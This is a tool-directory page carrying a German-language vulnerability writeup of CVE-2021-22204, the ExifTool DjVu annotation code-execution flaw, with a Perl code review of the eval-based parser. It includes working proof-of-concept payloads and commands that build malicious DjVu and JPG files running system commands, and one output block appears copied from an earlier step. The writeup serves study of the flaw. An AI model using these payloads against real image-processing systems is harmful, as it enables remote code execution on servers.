Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2021-22204 — Tiefgehende technische Analyse von CVE-2021-22204 (ExifTool RCE) mit PoC-Reproduktion, Payload-Konstruktion und Perl-Code-Review des verwundbaren DjVu-Annotationsparsers. | Kitploit
Tools/GitHubGitHub/trganda/cve-2021-22204
SchwachstellenanalyseCode-AnalyseExploitationPapers & ForschungLernen & BildungBinary-Exploitation
GitHubtrganda/cve-2021-22204

CVE-2021-22204

Tiefgehende technische Analyse von CVE-2021-22204 (ExifTool RCE) mit PoC-Reproduktion, Payload-Konstruktion und Perl-Code-Review des verwundbaren DjVu-Annotationsparsers.

Repository anzeigen
32vor 4 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

ExifTool-Schwachstelle für Remote-Codeausführung

Dies sollte eigentlich ein Analyseartikel zu CVE-2021-22204 sein, aber er gleicht eher meinem Notizbuch voller wirrer Gedanken. Für einen Schwachstellenanalyse-Artikel wirkt das ziemlich weitschweifig, aber ich habe dabei viel gelernt.

Ehrlich gesagt habe ich dieses Tool nie benutzt und hatte fast keinen Kontakt mit der Sprache Perl, weshalb ich während der Analyse und sogar der Reproduktion voller Fragezeichen im Kopf war. Bevor ich mit der Analyse beginne, schauen wir uns zunächst die online veröffentlichten PoCs sowie meine offenen Fragen an.

POC - convisolabs

Der Artikel, den ich gesehen habe, ist [1]; er gibt eine kurze Einführung in die Ursache der Schwachstelle. Da ich den Perl-Code jedoch nicht verstehen konnte, blieben mir viele Stellen unklar. Der Reproduktionsprozess ist wie folgt:

Lade die Version 12.23 von exiftool herunter:

root@kitploit:~
wget https://codeload.github.com/exiftool/exiftool/zip/refs/tags/12.23 -O exiftool-12.23.zip

Entpacken und installieren:

root@kitploit:~
$ unzip exiftool-12.23.zip && cd exiftool-12.23
$ perl Makefile.PL
$ make test
$ sudo make install

Wenn du es natürlich nicht installieren möchtest, kannst du die Datei exiftool aus dem Verzeichnis exiftool-12.23 direkt in ein Verzeichnis legen, das über die Umgebungsvariable gefunden wird. Damit lässt sich das exiftool-Tool ebenfalls direkt verwenden, da Perl – ähnlich wie Python – eine interpretierte Sprache ist.

Um ein bösartiges Bild zu erstellen, installiere zunächst die benötigten Werkzeuge:

root@kitploit:~
$ sudo apt-get update
$ sudo apt-get install djvulibre-bin

Führe die folgenden Befehle aus, um eine bösartige djvu-Datei zu erstellen:

root@kitploit:~
$ echo "(metadata \"\\\\c\${system('id')};\")" > payload
# 这是最让我困惑的地方,我不懂为什么要进行压缩(因为看其他POC是不需要的)
$ bzz payload payload.bzz
$ djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
# INFO = Anything in the format 'N,N' where N is a number
# BGjp = Expects a JPEG image, but we can use /dev/null to use nothing as background image
# ANTz = Will write the compressed annotation chunk with the input file

Analysiere die bösartige Datei anschließend mit dem Werkzeug exiftool – man wird feststellen, dass der Befehl id erfolgreich ausgeführt wurde:

root@kitploit:~
$ exiftool exploit.jdvu
uid=1000(trganda) gid=1000(trganda) groups=1000(trganda),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),1001(docker)
ExifTool Version Number         : 12.23
File Name                       : exploit.djvu
Directory                       : .
File Size                       : 88 bytes
File Modification Date/Time     : 2021:11:02 21:55:23+08:00
File Access Date/Time           : 2021:11:02 21:55:23+08:00
File Inode Change Date/Time     : 2021:11:02 21:55:23+08:00
File Permissions                : -rwxrwxrwx
File Type                       : DJVU
File Type Extension             : djvu
MIME Type                       : image/vnd.djvu
Image Width                     : 1
Image Height                    : 1
DjVu Version                    : 0.24
Spatial Resolution              : 300
Gamma                           : 2.2
Orientation                     : Horizontal (normal)
Image Size                      : 1x1
Megapixels                      : 0.000001

Als wir zuvor mit dem Befehl djvumake eine Datei im djvu-Format erstellt haben: Kann das payload dabei nicht unkomprimiert bleiben? Denn aus analytischer Sicht ist das nicht gerade förderlich für die Betrachtung und das Testen. Natürlich geht das; man muss nur den Parameter ANTz durch ANTa ersetzen. Informationen zu ANTz und ANTa findest du in der exiftool-Dokumentation [3], aber ihre konkrete Bedeutung habe ich auch nach wie vor nicht gefunden, da es keine offizielle Spezifikation gibt.

Hier möchte ich mich kurz beschweren: Ich wollte die Parameterbeschreibung über man djvumake nachschlagen, aber dort gibt es überhaupt keine Erklärung zu ANTz und ANTa. Die Dokumentation ist auf 2001 datiert und wurde seit langem nicht mehr aktualisiert.

Tag IDTag NameWritable
'ANTa'ANTa-
'ANTz'CompressedAnnotation-

ANTa bedeutet, dass die Annotation in den metadata der djvu-Datei im Klartextformat gespeichert wird; ANTz ist das bzz-komprimierte Format.

Dateien im djvu-Format sind jedoch nicht weit verbreitet, insbesondere wenn Websites das Hochladen von Bildern ermöglichen; die meisten akzeptieren nur Dateien wie png/jpg/jpeg. Es wäre also wünschenswert, wenn man eine bösartige djvu-Datei in eine jpg-Datei verwandeln könnte.

Das exiftool-Tool kann uns helfen, den Inhalt von Bildern zu verändern; wir müssen die bösartige djvu-Datei nur an der passenden Stelle in die jpg-Datei einfügen. Welche Stelle das konkret ist und warum ausgerechnet diese Stelle funktioniert, erkläre ich später in der Analyse.

Erstelle eine exiftool-Konfigurationsdatei eval.config:

root@kitploit:~
%Image::ExifTool::UserDefined = (
    # All EXIF tags are added to the Main table, and WriteGroup is used to
    # specify where the tag is written (default is ExifIFD if not specified):
    'Image::ExifTool::Exif::Main' => {
        # Example 1.  EXIF:NewEXIFTag
        # 0xc51b 对应Tag 'HasselbladExif'[6]
        0xc51b => {
            # 名字可以随意指定,这是接收的参数名称
            Name => 'HasselbladExif',
            # 可写入的变量类型
            Writable => 'string',
            # 写入的数据归属于metadata的哪一个Group[7]
            WriteGroup => 'IFD0',
        },
        # add more user-defined EXIF tags here...
    },
);
1; #end

Zur Schreibweise von exiftool-Konfigurationsdateien siehe [4][5]. Suche anschließend eine normale jpg-Bilddatei poc.jpg und führe den folgenden Befehl aus:

root@kitploit:~
$ exiftool -config configfile '-HasselbladExif<=exploit.djvu' poc.jpg

Analysiere poc.jpg anschließend erneut mit exiftool; der Befehl wird erfolgreich ausgeführt:

root@kitploit:~
$ exiftool poc.jpg
uid=1000(trganda) gid=1000(trganda) groups=1000(trganda),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),1001(docker)
ExifTool Version Number         : 12.23
File Name                       : exploit.djvu
Directory                       : .
File Size                       : 88 bytes
File Modification Date/Time     : 2021:11:02 21:55:23+08:00
File Access Date/Time           : 2021:11:02 21:55:23+08:00
File Inode Change Date/Time     : 2021:11:02 21:55:23+08:00
File Permissions                : -rwxrwxrwx
File Type                       : DJVU
File Type Extension             : djvu
MIME Type                       : image/vnd.djvu
Image Width                     : 1
Image Height                    : 1
DjVu Version                    : 0.24
Spatial Resolution              : 300
Gamma                           : 2.2
Orientation                     : Horizontal (normal)
Image Size                      : 1x1
Megapixels                      : 0.000001

Schwachstellenanalyse

Der folgende Analyseprozess bezieht sich auf den Inhalt von [2]; die betroffene Version ist exiftool < 12.24, und die die Schwachstelle auslösende Datei ist:

root@kitploit:~
lib/Image/ExifTool/DjVu.pm (line 202)

Der Code der betreffenden Funktion ist wie folgt:

root@kitploit:~
#------------------------------------------------------------------------------
# Parse DjVu annotation "s-expression" syntax (recursively)
# Inputs: 0) data ref (with pos($$dataPt) set to start of annotation)
# Returns: reference to list of tokens/references, or undef if no tokens,
#          and the position in $$dataPt is set to end of last token
# Notes: The DjVu annotation syntax is not well documented, so I make
#        a number of assumptions here!
sub ParseAnt($)
{
    my $dataPt = shift;
    my (@toks, $tok, $more);
    # (the DjVu annotation syntax really sucks, and requires that every
    # single token be parsed in order to properly scan through the items)
Tok: for (;;) {
        # find the next token
        last unless $$dataPt =~ /(\S)/sg;   # get next non-space character
        if ($1 eq '(') {       # start of list
            $tok = ParseAnt($dataPt);
        } elsif ($1 eq ')') {  # end of list
            $more = 1;
            last;
        } elsif ($1 eq '"') {  # quoted string
            $tok = '';
            for (;;) {
                # get string up to the next quotation mark
                # this doesn't work in perl 5.6.2! grrrr
                # last Tok unless $$dataPt =~ /(.*?)"/sg;
                # $tok .= $1;
                my $pos = pos($$dataPt);
                last Tok unless $$dataPt =~ /"/sg;
                $tok .= substr($$dataPt, $pos, pos($$dataPt)-1-$pos);
                # we're good unless quote was escaped by odd number of backslashes
                last unless $tok =~ /(\\+)$/ and length($1) & 0x01;
                $tok .= '"';    # quote is part of the string
            }
            # must protect unescaped "$" and "@" symbols, and "\" at end of string
            $tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;
            # convert C escape sequences (allowed in quoted text)
            $tok = eval qq{"$tok"};
        } else {                # key name
            pos($$dataPt) = pos($$dataPt) - 1;
            # allow anything in key but whitespace, braces and double quotes
            # (this is one of those assumptions I mentioned)
            $tok = $$dataPt =~ /([^\s()"]+)/sg ? $1 : undef;
        }
        push @toks, $tok if defined $tok;
    }
    # prevent further parsing unless more after this
    pos($$dataPt) = length $$dataPt unless $more;
    return @toks ? \@toks : undef;
}

Ich hatte nie mit Perl zu tun gehabt; ehrlich gesagt habe ich kaum verstanden, was dieser Code tut. Glücklicherweise helfen die sehr guten Kommentare, die Funktion zu verstehen. Den Funktionskommentaren zufolge wird damit die Annotation-Daten in djvu-Dateien geparst; der Struktur des Codes nach erfolgt die Verarbeitung rekursiv, und die annotation-Daten werden durch () begrenzt.

Reguläre Ausdrücke in Perl

Um den Code besser zu verstehen und gleichzeitig etwas zu lernen, stelle ich hier kurz die Verwendung regulärer Ausdrücke in Perl vor.

Die Verwendung regulärer Ausdrücke in Perl ist besonders und unterscheidet sich von den Sprachen, mit denen ich bisher zu tun hatte. In Perl gibt es drei Formen regulärer Ausdrücke:

  • Matching m//, das m kann weggelassen werden
  • Ersetzen s///
  • Transliteration tr///

Zwischen den // steht der reguläre Ausdruck oder die Zeichenkette; das Trennzeichen kann jedoch auch {} sein und ist nicht auf // beschränkt – das ist eine Besonderheit der Sprache Perl.

Schauen wir uns zunächst ein Codebeispiel für das Matching an:

root@kitploit:~
#!/usr/bin/perl

$str = "this is a string";
$str =~ /this/;

print $str;
print "\n";

In Perl kann die Funktionalität regulärer Ausdrücke über den Operator =~ genutzt werden. Unabhängig davon, ob der reguläre Ausdruck oben zutrifft, wird beim Drucken von $str immer this is a string ausgegeben. Wenn der reguläre Ausdruck jedoch nicht zutrifft, gibt er den booleschen Wert false zurück.

root@kitploit:~
#!/usr/bin/perl

$str = "this is a string";
if ($str =~ /this12/) {
    print "true\n";
} else {
    print "false\n";
}

Wenn man den Inhalt einer String-Variable ersetzen möchte, kann man das wie folgt tun:

root@kitploit:~
#!/usr/bin/perl

$str = "this is a string";
# or $str =~ s{string}{str};
$str =~ s/string/str/;


print $str;
print "\n";

# ouput
# this is str

Bei der Verwendung der Ersetzungsfunktion wird der Wert der Variablen direkt geändert.

Nachdem wir uns mit regulären Ausdrücken in Perl vertraut gemacht haben, schauen wir uns noch einmal die zuvor genannte Funktion an:

root@kitploit:~
#------------------------------------------------------------------------------
# Parse DjVu annotation "s-expression" syntax (recursively)
# Inputs: 0) data ref (with pos($$dataPt) set to start of annotation)
# Returns: reference to list of tokens/references, or undef if no tokens,
#          and the position in $$dataPt is set to end of last token
# Notes: The DjVu annotation syntax is not well documented, so I make
#        a number of assumptions here!
sub ParseAnt($)
{
    # 获取传入的参数(是个引用)
    my $dataPt = shift;
    print($$dataPt);
    my (@toks, $tok, $more);
    # (the DjVu annotation syntax really sucks, and requires that every
    # single token be parsed in order to properly scan through the items)
Tok: for (;;) {
        # find the next token
        last unless $$dataPt =~ /(\S)/sg;   # get next non-space character
        if ($1 eq '(') {       # start of list
            # 遇到左括号则递归处理
            $tok = ParseAnt($dataPt);
        } elsif ($1 eq ')') {  # end of list
            $more = 1;
            last;
        } elsif ($1 eq '"') {  # quoted string
            $tok = '';
            for (;;) {
                # get string up to the next quotation mark
                # this doesn't work in perl 5.6.2! grrrr
                # last Tok unless $$dataPt =~ /(.*?)"/sg;
                # $tok .= $1;
                # 获取前一次正则匹配命中的位置,执行到这里,这个位置就是第一个引号的位置
                my $pos = pos($$dataPt);
                last Tok unless $$dataPt =~ /"/sg;
                # 再次匹配右引号的位置,并截取引号之间的内容
                $tok .= substr($$dataPt, $pos, pos($$dataPt)-1-$pos);
                print($tok."\n");
                # we're good unless quote was escaped by odd number of backslashes
                # 检查反斜杠的数量是不是奇数,避免在后续qq{""}时,行尾的"被转义
                last unless $tok =~ /(\\+)$/ and length($1) & 0x01;
                # 如果是奇数,则补上一个"号
                $tok .= '"';    # quote is part of the string
            }
            # must protect unescaped "$" and "@" symbols, and "\" at end of string
            $tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;
            # convert C escape sequences (allowed in quoted text)
            print(qq{"$tok"}."\n");
            $tok = eval qq{"$tok"};
        } else {                # key name
            pos($$dataPt) = pos($$dataPt) - 1;
            # allow anything in key but whitespace, braces and double quotes
            # (this is one of those assumptions I mentioned)
            $tok = $$dataPt =~ /([^\s()"]+)/sg ? $1 : undef;
        }
        push @toks, $tok if defined $tok;
    }
    # prevent further parsing unless more after this
    pos($$dataPt) = length $$dataPt unless $more;
    return @toks ? \@toks : undef;
}

Zum besseren Verständnis wird eine geeignete Datei benötigt, damit exiftool beim Parsen diese Funktion ausführt. Man kann auf die zuvor beschriebene Weise eine djvu-Datei exploit.djvu erstellen; der Inhalt des Payloads ist:

root@kitploit:~
(metadata (Author "trganda"))

Füge anschließend an den Schlüsselstellen der Funktion ParseAnt($) einige print-Anweisungen ein, um Informationen auszugeben, wie oben gezeigt. Führe danach im Quellverzeichnis von exiftool aus:

root@kitploit:~
$ ./exiftool you_path_to/exploit.djvu
(metadata (Author "trganda"))
(metadata (Author "trganda"))
(metadata (Author "trganda"))
trganda
"trganda"
... ignore

Von hier aus sieht man, dass der Inhalt, der schließlich an eval zur Ausführung übergeben wird, folgender ist – die doppelten Anführungszeichen darf man dabei nicht übersehen:

root@kitploit:~
"trganda"

Was wäre, wenn man trganda durch die Funktion system ersetzt, um Befehle auszuführen? Probieren wir es aus:

root@kitploit:~
$tok = "${system('id')};";
# output
# "\${system('id')};"

Beim Ausführen stellt man fest, dass die Ausgabe nur den übergebenen Text zeigt und der Code nicht ausgeführt wird – das liegt daran, dass $ durch \$ ersetzt wurde:

root@kitploit:~
# must protect unescaped "$" and "@" symbols, and "\" at end of string
$tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;

Wie kann man diese Einschränkung umgehen? Diese Frage muss Schritt für Schritt angegangen werden. Der Autor von [2] verwendete bei seinen Tests den folgenden Payload:

root@kitploit:~
(metadata (Author "a\
""))

Die Ausgabe nach der Ausführung ist wie folgt; eval meldet eine Ausnahme:

root@kitploit:~
(metadata (Author "a\
""))
(metadata (Author "a\
""))
(metadata (Author "a\
""))
a\

a\
"
"a\
""
String found where operator expected at (eval 8) line 2, at end of line
        (Missing semicolon on previous line?)

Hier wird erklärt, was nach der Übergabe dieses Payloads geschieht; der Fokus liegt auf der zweiten for-Schleife:

root@kitploit:~
# Author 这个Annotation的内容为,不要遗漏\n
"a\(\n)
""
# 在for循环中第一次截取子串,$tok得到的内容是,因为第一次正则匹配到了第一个双引号,第二次匹配到第二行的第一个双引号
a\(\n)
# 接着代码会检查行尾的\数量是不是奇数,如果是,则会补上一个",
# 而正则$tok =~ /(\\+)$/在匹配时,$符号是匹配\n的而不是文本的结尾。
# 这样就会执行后面的代码,给$tok的末尾补上一个"。
a\(\n)"
# 第二次进入循环截取子串,得到的内容是第二行""之间的内容,但这里是空的,与$tok拼接后得到的结果和前面一样
a\(\n)"
# 之后进入eval执行的内容是
qq{"$tok"} -> "a\(\n)""
# eval执行后报错,因为"没有闭合
String found where operator expected at (eval 8) line 2, at end of line
        (Missing semicolon on previous line?)

Bezüglich der Ausführungslogik von eval in Perl empfehle ich die offizielle Dokumentation [9]. Da einige Inhalte dort jedoch nicht erwähnt werden und ich Perl nie verwendet habe, konnte ich anfangs Teile davon nicht verstehen. Ich musste immer wieder mit Codebeispielen testen, um bestimmte Logiken von eval zu verstehen. Im Folgenden werde ich einige Inhalte erwähnen, die zum Verständnis dieser Schwachstelle beitragen, bevor ich mit der Erklärung des tatsächlichen Ausführungsprozesses des Payloads beginne.

eval in Perl

eval kann in Perl nicht nur Codeausschnitte ausführen, sondern auch Ausnahmen abfangen, ohne die Programmausführung zu unterbrechen. eval kann String-Konstanten, String-Variablen oder direkt Code zur Analyse und Ausführung übernehmen.

root@kitploit:~
# 字符串常量
eval "system('id')";
# 变量
$cm = "system('id')";
eval $cm;
eval "$cm";
# 直接执行代码
eval {system('id');};
# output
# uid=1000(trganda) gid=1000(trganda) groups=1000(trganda),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)

Die Ausführungsstrategie von eval besteht darin, nur das Ergebnis der letzten Unteranweisung zurückzugeben; das heißt, wenn mehrere Codeabschnitte enthalten sind, wird nur das letzte Ergebnis übernommen, etwa so:

root@kitploit:~
eval "system('id'); system('date');"
# output
# 2021年 11月 04日 星期四 11:49:22 CST

Wenn bei der Ausführung einer Anweisung durch eval ein Fehler auftritt, wird der nachfolgende Code nicht mehr ausgeführt, und es wird eine Ausnahme ausgelöst (falls vorhanden).

Schauen wir noch einmal auf das zuvor getestete Payload zurück – fällt dir etwas auf? Wenn wir das " erfolgreich schließen und den auszuführenden Code zwischen die " der zweiten Zeile setzen können, kann der Code von eval ausgeführt werden.

Der Autor von [2] gab die folgende Form an:

root@kitploit:~
(metadata
    (Author "\
" . return `date`; #")
)
# 最后传入eval执行的内容为
"\
" . return `date`; #"

Wie ist der von eval ausgeführte Teil zu verstehen? Zunächst ist der Operator . in Perl für die Verkettung von Strings zuständig; es wird also zuerst ausgeführt:

root@kitploit:~
return `date`;

Danach wird das zurückgegebene Ergebnis mit \(\n) verkettet. Eigentlich kann das return weggelassen werden, ohne die Ausführung des date-Befehls zu beeinträchtigen, und das abschließende " wird auskommentiert.

Natürlich kann man es auch so schreiben:

root@kitploit:~
(metadata (Author "\
"; return `date`; #"))
# 最后传入eval执行的内容为
"\
"; return `date`; #"

Auf diese Weise analysiert eval zunächst "\(\n)"; – dieser Teil wird als String betrachtet – und analysiert dann die nachfolgenden Anweisungen weiter, sodass der Befehl date erfolgreich ausgeführt wird.

Nach der Ausführung des obigen Payloads sieht man das folgende Ergebnis; die erfolgreiche Ausführung ist sichtbar:

root@kitploit:~
Useless use of a constant ("\n") in void context at (eval 8) line 1.
ExifTool Version Number         : 12.23
File Name                       : exploit.djvu
...
Author                          : 2021年 11月 04日 星期四 15:22:05 CST.
...

Andere Umgehungsmethoden

An diesem Punkt des Schreibens bin ich ein wenig müde. Der vom Autor von [2] angegebene payload kann durch die Umgehung des " perfekt ausgeführt werden – gibt es noch andere Wege? Wenn man auf den Inhalt von [1] vom Anfang zurückblickt, wurde er bereits dort angegeben:

root@kitploit:~
(metadata "\c${system('id')};")

Man sollte wissen: Die Funktion ParseAnt($) ersetzt das $-Symbol, sodass eine direkte erfolgreiche Ausführung nicht möglich ist. Warum funktioniert dieses hier dann? Bist du neugierig, welche Funktion \c hat? Erstelle zunächst mit dem obigen Payload eine djvu-Datei; nach der Analyse durch exiftool ist der an eval übergebene Inhalt:

root@kitploit:~
"\c\${system('id')};"

Wenn \c nicht vorhanden ist:

root@kitploit:~
"\${system('id')};"

Dieser Code würde nicht tatsächlich ausgeführt; am Ende würde nur ein String zurückgegeben, weil das $-Symbol maskiert (escaped) wurde. Die Wirkung von \c besteht darin, die Wirkung des \ vor dem $ aufzuheben, sodass der nachfolgende Code ausgeführt werden kann. Auch in Perl gibt es viele Escape-Zeichen, und \c ist eines davon; es wird jedoch nicht allein verwendet, sondern zusammen mit einem beliebigen Zeichen.

Escape-ZeichenBedeutung
\cXSteuerzeichen, X kann ein beliebiges Zeichen sein

Genau deshalb wird \c\ als etwas anderes interpretiert, und der nachfolgende Code kann ausgeführt werden.

Andere Dateiformate

Die zuvor konstruierten bösartigen Dateien waren auf das Format djvu beschränkt. Es wäre aussagekräftiger, ein verbreitetes Dateiformat wie zum Beispiel ein jpg-Bild zu konstruieren. Um das zu erreichen, muss man herausfinden, bei der Analyse welcher Dateien die anfällige Funktion ParseAnt($) aufgerufen wird.

Wenn man in der Aufrufkette nach oben sucht, findet man heraus, dass ProcessAnt($$$) ParseAnt($) aufruft, aber weiter oben lässt sich der Pfad nicht mehr direkt zurückverfolgen.

root@kitploit:~
ProcessAnt($$$)
    |
    v
 ParseAnt($)

Da es in der Sprache Perl einen Mechanismus zum dynamischen Laden von Modulen gibt, kann man versuchen herauszufinden, wo die Datei Djvu.pm geladen wird.

1636264024890.png

Bei der Durchsicht der gefundenen Dateien zeigt sich, dass sich in lib/Image/ExifTool.pm in Zeile 2620 der folgende Code befindet, der anhand des Dateityps entscheidet, welches Modul zur Verarbeitung der jeweiligen Datei geladen wird.

root@kitploit:~
#------------------------------------------------------------------------------
# Extract meta information from image
# Inputs: 0) ExifTool object reference
#         1-N) Same as ImageInfo()
# Returns: 1 if this was a valid image, 0 otherwise
# Notes: pass an undefined value to avoid parsing arguments
# Internal 'ReEntry' option allows this routine to be called recursively
sub ExtractInfo($;@)
{
	# ...
	        my $module = $moduleName{$type};
            $module = $type unless defined $module;
            my $func = "Process$type";

            # load module if necessary
            if ($module) {
                require "Image/ExifTool/$module.pm";
                $func = "Image::ExifTool::${module}::$func";
            } elsif ($module eq '0') {
                $self->SetFileType();
                $self->Warn('Unsupported file type');
                last;
            }
	# ...
}

Danach wird weiter gesucht, wo ExtractInfo($;@) aufgerufen wird; es gibt mehrere Stellen. Der Fokus liegt auf dem Code in lib/Image/ExifTool/Exif.pm in Zeile 3004:

root@kitploit:~
# main EXIF tag table
%Image::ExifTool::Exif::Main = (
    GROUPS => { 0 => 'EXIF', 1 => 'IFD0', 2 => 'Image'},
    WRITE_PROC => \&WriteExif,
    CHECK_PROC => \&CheckExif,
    WRITE_GROUP => 'ExifIFD',   # default write group
    SET_GROUP1 => 1, # set group1 name to directory name for all tags in table
    # ...
	0xc51b => { # (Hasselblad H3D)
        Name => 'HasselbladExif',
        Format => 'undef',
        RawConv => q{
            $$self{DOC_NUM} = ++$$self{DOC_COUNT};
            $self->ExtractInfo(\$val, { ReEntry => 1 });
            $$self{DOC_NUM} = 0;
            return undef;
        },
    },
    # ...
);

%Image::ExifTool::Exif::Main ist eine Tabelle in Form einer Map; die Funktion von Exif.pm dient – wie in den Kommentaren angegeben – dem Lesen von Metadata-Informationen gemäß der EXIF/TIFF-Spezifikation.

Description: Read EXIF/TIFF meta information

Eigentlich hatten wir %Image::ExifTool::Exif::Main bereits bei der Reproduktion gesehen; damals verstand ich nicht, was 0xc51 darin bedeutete und warum genau dieser Wert erforderlich war. Jetzt weiß ich: Sobald die metadata-Informationen in der Datei Inhalte mit der entsprechenden ID 0xc51 enthalten, werden sie von der Funktion ExtractInfo analysiert, und es wird schrittweise bis zur anfälligen Funktion gelangt.

Genau deshalb haben wir zuvor über die leistungsstarke benutzerdefinierte Funktionalität von exiftool eine config-Datei geschrieben, um eine normale jpg-Datei anzupassen und 0xc51b-Metadata einzufügen, die den bösartigen Inhalt enthalten. Damit ist der gesamte Auslöseprozess im Wesentlichen klar, und meine eigenen Fragen sind beantwortet. Der Autor von [2] hat darüber hinaus Wege aufgezeigt, bösartige Daten in Dateien anderer Formate einzufügen; die Herangehensweise ist ähnlich.

Behebungsmaßnahme

Das Ergebnis des Diff auf GitHub ist wie folgt:

diff

Referenzen

[1] A case study on: CVE-2021-22204 - Exiftool RCE (convisoappsec.com)

[2] ExifTool CVE-2021-22204 - Arbitrary Code Execution | devcraft.io

[3] TagNames of DjVu

[4] TagNames Explan

[5] Exiftool User Defined Configuration File

[6] EXIF

[7] Groups

[8] exiftool-arbitrary-code-execution

[9] eval in Perl

Tool herunterladen